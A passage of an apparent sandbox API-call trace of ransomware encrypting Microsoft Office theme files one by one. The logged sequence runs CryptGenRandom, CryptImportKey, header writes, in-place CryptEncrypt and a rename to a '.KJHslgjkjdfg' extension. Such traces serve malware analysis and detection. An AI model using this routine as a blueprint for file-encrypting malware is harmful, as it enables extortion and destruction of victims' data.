lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0196.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.993] GetProcessHeap () returned 0x2a0000 [0196.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.993] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.993] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.993] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x5, lpOverlapped=0x0) returned 1 [0196.995] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.995] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.995] GetProcessHeap () returned 0x2a0000 [0196.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.995] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.995] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.995] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.995] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.995] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.995] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.995] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.995] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.995] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.995] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.996] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.996] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3becb, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x3becb, lpOverlapped=0x0) returned 1 [0197.017] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x3bed0, dwBufLen=0x3bed0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x3bed0) returned 1 [0197.019] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.019] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3bed0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x3bed0, lpOverlapped=0x0) returned 1 [0197.020] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.020] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x3bfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.020] SetEndOfFile (hFile=0x124) returned 1 [0197.026] GetProcessHeap () returned 0x2a0000 [0197.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.026] GetProcessHeap () returned 0x2a0000 [0197.026] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.026] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.kjhslgjkjdfg")) returned 1 [0197.028] CloseHandle (hObject=0x124) returned 1 [0197.028] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0197.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.030] GetProcessHeap () returned 0x2a0000 [0197.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.031] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.031] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.031] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x9, lpOverlapped=0x0) returned 1 [0197.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.033] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.033] GetProcessHeap () returned 0x2a0000 [0197.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.033] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.033] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.033] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.033] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.033] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.034] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.034] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.034] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.034] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.034] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.034] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.034] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x146a7, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x146a7, lpOverlapped=0x0) returned 1 [0197.036] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x146b0, dwBufLen=0x146b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x146b0) returned 1 [0197.037] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.037] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x146b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x146b0, lpOverlapped=0x0) returned 1 [0197.037] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.037] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x14784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.037] SetEndOfFile (hFile=0x124) returned 1 [0197.040] GetProcessHeap () returned 0x2a0000 [0197.041] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.041] GetProcessHeap () returned 0x2a0000 [0197.041] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.kjhslgjkjdfg")) returned 1 [0197.043] CloseHandle (hObject=0x124) returned 1 [0197.043] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0197.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.045] GetProcessHeap () returned 0x2a0000 [0197.045] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.045] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.045] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.045] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0197.048] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.048] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.048] GetProcessHeap () returned 0x2a0000 [0197.048] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0197.048] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0197.048] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.048] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0197.048] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.048] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.048] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.048] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.049] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.049] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.049] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.049] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.049] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13af1, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x13af1, lpOverlapped=0x0) returned 1 [0197.051] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x13b00, dwBufLen=0x13b00 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x13b00) returned 1 [0197.051] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.052] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13b00, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x13b00, lpOverlapped=0x0) returned 1 [0197.052] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.052] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.052] SetEndOfFile (hFile=0x124) returned 1 [0197.055] GetProcessHeap () returned 0x2a0000 [0197.055] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0197.055] GetProcessHeap () returned 0x2a0000 [0197.055] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.kjhslgjkjdfg")) returned 1 [0197.057] CloseHandle (hObject=0x124) returned 1 [0197.057] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0197.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.059] GetProcessHeap () returned 0x2a0000 [0197.059] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.059] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.059] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.059] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x6, lpOverlapped=0x0) returned 1 [0197.062] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.062] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.062] GetProcessHeap () returned 0x2a0000 [0197.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0197.062] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0197.062] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.062] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0197.062] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0197.062] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0197.062] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0197.062] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0197.062] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0197.062] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0197.063] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0197.063] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.063] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1583a, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1583a, lpOverlapped=0x0) returned 1 [0197.064] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15840, dwBufLen=0x15840 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x15840) returned 1 [0197.065] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.065] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15840, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x15840, lpOverlapped=0x0) returned 1 [0197.066] CryptDestroyKey (hKey=0x2c6260) returned 1 [0197.066] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x15914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.066] SetEndOfFile (hFile=0x124) returned 1 [0197.069] GetProcessHeap () returned 0x2a0000 [0197.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0197.069] GetProcessHeap () returned 0x2a0000 [0197.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0197.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx.kjhslgjkjdfg")) returned 1 [0197.072] CloseHandle (hObject=0x124) returned 1 [0197.073] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1 [0197.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0197.075] GetProcessHeap () returned 0x2a0000 [0197.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0197.075] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0197.075] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0197.075] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x9, 